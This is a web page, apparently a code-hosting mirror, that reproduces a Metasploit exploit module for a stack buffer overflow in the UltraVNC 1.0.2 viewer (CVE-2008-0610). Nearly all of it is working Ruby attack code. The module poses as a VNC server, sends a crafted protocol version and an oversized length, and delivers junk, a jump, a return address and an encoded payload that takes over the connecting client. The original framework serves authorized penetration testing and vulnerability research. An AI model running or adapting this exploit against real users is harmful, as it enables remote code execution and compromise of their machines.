Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',13'Description' => %q{14This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.1516If a malicious server responds to a client connection indicating a minor17protocol version of 14 or 16, a 32-bit integer is subsequently read from18the TCP stream by the client and directly provided as the trusted size for19further reading from the TCP stream into a 1024-byte character array on20the stack.21},22'Author' => 'noperand',23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2008-0610' ],27[ 'OSVDB', '42840' ],28[ 'BID', '27561' ],29],30'DefaultOptions' =>31{32'EXITFUNC' => 'thread',33},34'Payload' =>35{36'Space' => 500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.242],43'Privileged' => false,44'DisclosureDate' => '2008-02-06',45'DefaultTarget' => 0))4647register_options(48[49OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])50])51end5253def on_client_connect(client)54return if ((p = regenerate_payload(client)) == nil)5556sploit = rand_text_alpha(1100) # junk, could be more efficient here57sploit << "\x00\x04\x00\x00" # value to get around a write58sploit << rand_text_alpha(12) # random junk59sploit << "\xEB\x06" << make_nops(2) # short relative jump60sploit << [target.ret].pack('V') # pop/pop/ret (default is in vncviewer.exe)61sploit << payload.encoded6263=begin64We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").65- These bytes are read directly by a call to ReadExact() with a size of 12.6667...68if (m_minorVersion == 14 || m_minorVersion == 16)69{70int size;71ReadExact((char *)&size,sizeof(int));72char mytext[1024]; //10k73ReadExact(mytext,size);74mytext[size]=0;75...7677If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.78We then append our data.79=end80sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit8182print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")83client.put(sploit)84handler(client)85service.close_client(client)86end87end888990